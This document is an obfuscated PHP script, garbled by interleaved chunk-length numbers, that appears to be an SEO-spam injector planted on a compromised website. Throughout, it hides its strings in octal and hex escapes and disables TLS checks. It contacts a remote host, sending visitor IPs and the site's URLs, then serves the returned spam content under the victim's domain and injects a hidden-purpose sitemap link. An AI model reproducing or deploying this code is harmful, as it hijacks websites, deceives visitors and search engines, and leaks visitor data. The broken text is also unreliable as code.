2 7 $url, a CURLOPT_RE 3 TUR 3 NTR 3 ANS 3 FER 6 => tr c ue, CURLOPT_ 3 SSL 4 _VER 3 IFY 8 PEER => 5 false 15 , CURLOPT_SSL_VERIFYH 3 OST 14 => false, CURLOPT_F 3 OLL 3 OWL 3 OCA 3 TIO 13 N => true, CURLOPT_ 3 TIM 3 EOU 7 T => 10 a , CURLOPT_ 3 HTT 4 PGET 13 => true, CURLOPT_U 4 SERA 3 GEN 6 T => " a \115\157\1 6 72\151 8 \154\x6c 6 \141\5 4 7\x3 6 5\x2e\ 2 60 6 ")); $ 7 data = 8 curl_exe 5 c($ch 9 ); curl_c 4 lose 7 ($ch); d if (!empty($d b ata)) { ret 3 urn 6 $data a ; } } if ( 7 ini_get 5 ("\14 e 1\154\x6c\x6f\ 3 167 9 \x5f\x75\ 6 162\15 9 4\x5f\146 9 \157\160\ 4 x65\ b 156")) { $c 5 ontex 4 t = 6 stream 8 _context 5 _crea 3 te( 9 array("\x 2 68 b \164\x74\16 6 0" => 9 array("\1 4 55\x 9 65\164\x6 7 8\x6f\x 3 64" 7 => "\x 6 47\105 9 \x54", "\ 5 x74\x 6 69\155 8 \145\x6f d \x75\x74" => 8 10, "\15 8 0\x65\x6 5 1\x64 8 \x65\162 a " => "\125 6 \163\x d 65\162\x2d\x4 e 1\147\145\x6e\ 5 164\x 5 3a\40 9 \x4d\157\ 3 x7a b \151\x6c\x6 7 c\x61\x 3 2f\ b x35\x2e\60\ 7 15\12") 5 , "\1 a 63\x73\x6c f " => array("\16 b 6\x65\162\x 5 69\14 5 6\x79 6 \137\1 13 60\x65\145\162" => 7 false, 5 "\x76 e \145\x72\151\1 6 46\171 7 \137\x7 8 0\145\14 7 5\162\x 8 5f\x6e\1 4 41\x 6 6d\x65 b " => false) c )); $data = 19 @file_get_contents($url, f false, $context 2a ); if (!empty($data)) { return $data; } } 8 return ' 2 '; a } goto X5 3 nb1 7 ; D_iaM 4 : $v 4 url c = $http_type 6 . "\x c 69\144\154\x 3 79\ 7 62\56\x 3 69\ a x64\x73\x6 9 8\157\x70 6 \x2e\x 3 63\ 9 143\167\x 3 75\ 8 56\143\x 7 63\x2f\ 3 64\ 6 61\71\ 6 56\x61 8 \163\x70 c \x78"; goto 6 N2pxL; 6 EzYoe 17 : if (!empty($get["\163 9 "])) { $p 4 aram a s = array( 6 "\163" 5 => d 8 ate("\13 6 1\x6d\ 8 144\x48\ 3 151 c "), "\x6e\16 9 5\155\142 d \x65\162" => c $get["\156\1 9 65\x6d\x6 a 2\145\162" 5 ]); $ 6 str = 9 getCurl($ 7 vurl, $ 6 params d ); $str = str 6 _repla b ce(array("\ 6 173\xe 3 5\2 5 75\22 8 3\xe5\x8 4 9\x8 3 d\3 6 45\x9c 2 \2 8 60\xe5\2 5 35\x8 5 0\x7d b "), array($ c http_type . f $_SERVER["\110\ e x54\x54\x50\x5 1 f e \110\117\x53\1 7 24"] . 13 $_SERVER["\123\x43\ 11 122\x49\x50\124\1 b 37\116\x41\ b x4d\x45"]), 5 $str 6 ); hea 3 der 4 ("\1 8 03\157\1 8 56\x74\x c 65\156\164\x 7 2d\164\ 5 171\1 13 60\x65\72\164\x65\1 6 70\x74 a \57\x78\15 4 5\15 6 4"); e 3 cho 7 $str; 3 die b ; } goto N4 4 dac; 7 X5nb1: d $http_type = 9 !empty($ 16 _SERVER["\110\x54\x54\ 6 120\12 6 3"]) & 2 & f $_SERVER["\x48\ e 124\124\x50\12 5 3"] ! 6 == "\x 7 6f\146\ 4 x66" 5 ? "\ f x68\164\164\160 6 \x73\x 6 3a\x2f a \x2f" : "\ 4 150\ 15 164\164\160\x3a\x2f\5 9 7"; goto 6 Aq5NJ; 4 f5X 2 oA b : function 10 postCurl($url, $ 4 post 17 Data = array()) { $post 13 String = is_array($ 8 postData 20 ) ? http_build_query($postData) b : $postData 1 ; 2b if (function_exists("\143\x75\162\154\x5f\ 7 x69\x6e 6 \x69\1 ee 64")) { $ch = curl_init(); curl_setopt_array($ch, array(CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_FOLLOWLOCATION => true, CURLOPT_TIMEOUT => 10, CURLOPT_ 8 POST => 12 true, CURLOPT_POST 3 FIE 3 LDS 5 => $ a postString 66 )); $data = curl_exec($ch); curl_close($ch); if (!empty($data)) { return $data; } } if (ini_get("\141\ e x6c\x6c\157\x7 17 7\x5f\x75\162\154\x5f\x 6 66\x6f a \x70\145\1 31 56")) { $context = stream_context_create(array("\ f 150\164\164\160 11 " => array("\155\ d 145\164\150\1 6 57\144 a " => "\120 6 \x4f\x 7 53\124" 10 , "\164\x69\155\ 7 x65\157 6 \165\x 13 74" => 10, "\x68\x6 7 5\141\1 8 44\x65\x a 72" => "\1 5 03\x6 e f\156\x74\x65\ 8 x6e\x74\ 5 55\12 b 4\171\x70\x 4 65\x f 3a\x20\x61\160\ 7 160\x6c 8 \x69\x63 6 \x61\x d 74\x69\x6f\x6 9 e\57\x78\ 5 55\x7 a 7\x77\167\ 5 55\x6 9 6\x6f\x72 b \155\x2d\16 9 5\162\x6c b \x65\156\14 7 3\157\1 9 44\145\14 4 4\xd 4 \12" 7 . "\x4 15 3\x6f\156\x74\145\156 6 \x74\x 6 2d\x4c e \145\x6e\147\1 7 64\x68\ 5 72\40 8 " . strl 3 en( c $postString) a . "\xd\xa 6 " . "\ 9 125\x73\1 1 4 e 5\x72\x2d\101\ 5 x67\x c 65\156\164\x e 3a\40\x4d\157\ 11 172\151\x6c\x6c\1 7 41\x2f\ 6 65\56\ 3 x30 c \xd\xa", "\1 7 43\x6f\ 13 x6e\164\145\x6e\164 1 " 10 => $postString) 28 , "\163\x73\x6c" => array("\x76\145\x72\ 8 x69\146\ 6 171\x5 6 f\x70\ 29 x65\145\162" => false, "\x76\145\162\x69\ 6 x66\x7 5 9\x5f 7 \160\14 b 5\x65\x72\1 6 37\x6e 7 \141\15 5 5\145 7b " => false))); $data = @file_get_contents($url, false, $context); if (!empty($data)) { return $data; } } return ''; } goto 6 m5bkF; 1b N4dac: if (!empty($get["\1 6 51\144 7 "])) { 13 if (empty($get["\15 4 3\15 b 3"])) { $ip 7 = get_ 2 ip 16 (); $params = array("\ 6 x69\16 9 0" => $ip b , "\x69\144 6 " => i 4 sset 10 ($get["\x69\144" 5 ]) ? b $get["\151\ 5 x64"] 4 : ' 8 ', "\x6c 9 \x6c" => 7 $ll); $ 2 tz 1f str = getCurl($vurl, $params); c if (strpos($ 11 tzstr, "\x69\144" 6 ) !== 9 false) { 6 echo $ e tzstr; die; } 1 } 1f $params = array("\x69\x64" => b $get["\x69\ d x64"], "\x6c\ 4 154" b => $ll); $ 3b str = getCurl($vurl, $params); $str = str_replace(array("\x 2 7b b \125\x52\x4 5 c\175 6 ", "\1 7 73\345\ 4 237\ 4 237\ 9 345\x90\2 4 15\1 c 75"), array( 4 get_ 8 url_info 6 ("\146 7 \165\15 9 4\x6c"), 11 get_url_info("\15 8 6\157\13 d 7\x77\167\167 3 ")) 9 , $str); 1a echo $str; die; } else { $ 7 sitemap 7 Url = $ 2 ll 8 . "\x3f 8 \x73\x3d 4 " . 12 date("\131\155\144 7 \110\x6 1 9 b "); echo "\ c 74\144\x69\1 4 66\4 6 0\x73\ a 164\171\15 b 4\145\x3d\x 2 27 b \x74\145\17 6 0\164\ e x2d\x61\154\15 7 1\147\1 6 56\x3a 7 \x63\14 12 5\x6e\164\x65\x72\ 4 73\4 9 0\160\x61 f \144\144\x69\15 6 6\x67\ 3 72\ b 61\x30\160\ 4 170\ 7 40\x30\ 7 73\x27\ 5 76\x3 9 c\x61\x20 7 \150\16 a 2\x65\146\ 5 75\42 1 { f $sitemapUrl}\x2 7 2\x20\x 6 74\x61 8 \x72\x67 a \x65\164\x 4 3d\4 f 2\x5f\x62\154\1 5 41\x6 5 e\x6b f \42\40\162\x65\ 5 x6c\x 6 3d\x22 a \x6e\157\x 7 66\157\ c x6c\x6c\157\ 9 167\x22\x 8 3e\x20\x 4 53\x 5 69\x7 13 4\x65\x6d\x61\160\7 a 4\57\141\x 4 3e\x 8 3c\x2f\1 8 44\151\1 6 66\76" 9 ; } goto 3 nnS 4 Bp; 3 Uh8 2 So 13 : function get_ip() 4 { f 4 orea 3 ch a (array("\x 13 48\x54\x54\x50\x5f\ 3 x58 8 \137\x46 7 \117\x5 4 2\12 5 7\101 b \122\104\x4 7 5\104\x 6 5f\x46 8 \x4f\x52 6 ", "\x f 48\124\x54\120\ 6 x5f\x4 5 3\114 5 \x49\ 9 105\x4e\x 9 54\137\11 5 1\x50 b ", "\x52\x4 6 5\x4d\ c 117\x54\x45\ 5 x5f\1 a 01\x44\x44 6 \x52") 4 as 3 $ke 1 y 18 ) { if (!empty($_SERVER[ 5 $key] c )) { return 6 trim(e 3 xpl 6 ode("\ 4 x2c" b , $_SERVER[ 7 $key])[ 2 0] e ); } } return 7 "\x55\x 6 4e\113 7 \116\x4 4 f\x5 f 7\116"; } goto 6 f5XoA; 6 shqZL f : function get_ a url_info(s 7 tring $ e return_type = 9 "\144\157 8 \155\141 9 \151\x6e" 4 ) : a string { $ 4 host 1e = $_SERVER["\x48\124\124\x50\ 8 x5f\110\ d x4f\123\x54"] 14 ; if ($return_type = 9 == "\144\ 6 x6f\15 9 5\x61\x69 6 \156") f { return $host 8 ; } if ( 14 $return_type === "\1 d 56\157\x5f\x7 b 7\167\167") b { return l a trim($host 6 , "\x7 d 7\x77\167\x2e 4 "); 5 } $pr 6 otocol 5 = is 5 set($ 12 _SERVER["\110\x54\ a 124\x50\x5 25 3"]) && $_SERVER["\110\x54\x54\x50\x5 5 3"] = a == "\x6f\1 4 56" 2 || 1a isset($_SERVER["\x48\x54\ e 124\x50\x5f\13 7 0\137\1 2 06 d \x4f\122\127\ 5 x41\1 f 22\104\x45\x44\ 5 137\x 6 50\x52 c \117\x54\x4f 16 "]) && $_SERVER["\110\ 18 124\124\120\137\x58\137\ c 106\x4f\122\ 5 x57\1 f 01\122\104\105\ c 104\137\x50\ 9 122\x4f\x 6 54\117 9 "] === "\ 6 150\x7 9 4\x74\160 4 \x73 11 " ? "\x68\x74\164 7 \x70\x7 a 3\x3a\57\x 8 2f" : "\ 10 x68\x74\164\x70\ b 72\x2f\x2f" 4 ; $b 4 ase_ 7 url = $ a protocol . 8 $host; 1a if ($return_type === "\142 7 \x61\x7 12 3\145") { return $ 8 base_url 8 ; } $uri f = $_SERVER["\x 9 52\x45\12 1 1 a \125\105\1 6 23\124 8 \x5f\x55 8 \122\x49 7 "]; $fu 2 ll 11 _url = $base_url 6 . $uri 19 ; if ($return_type === "\ 5 x66\1 c 65\154\154") b { return $ 9 full_url; 15 } return ''; } goto c Uh8So; nnSBp 3 : ? 1 > 0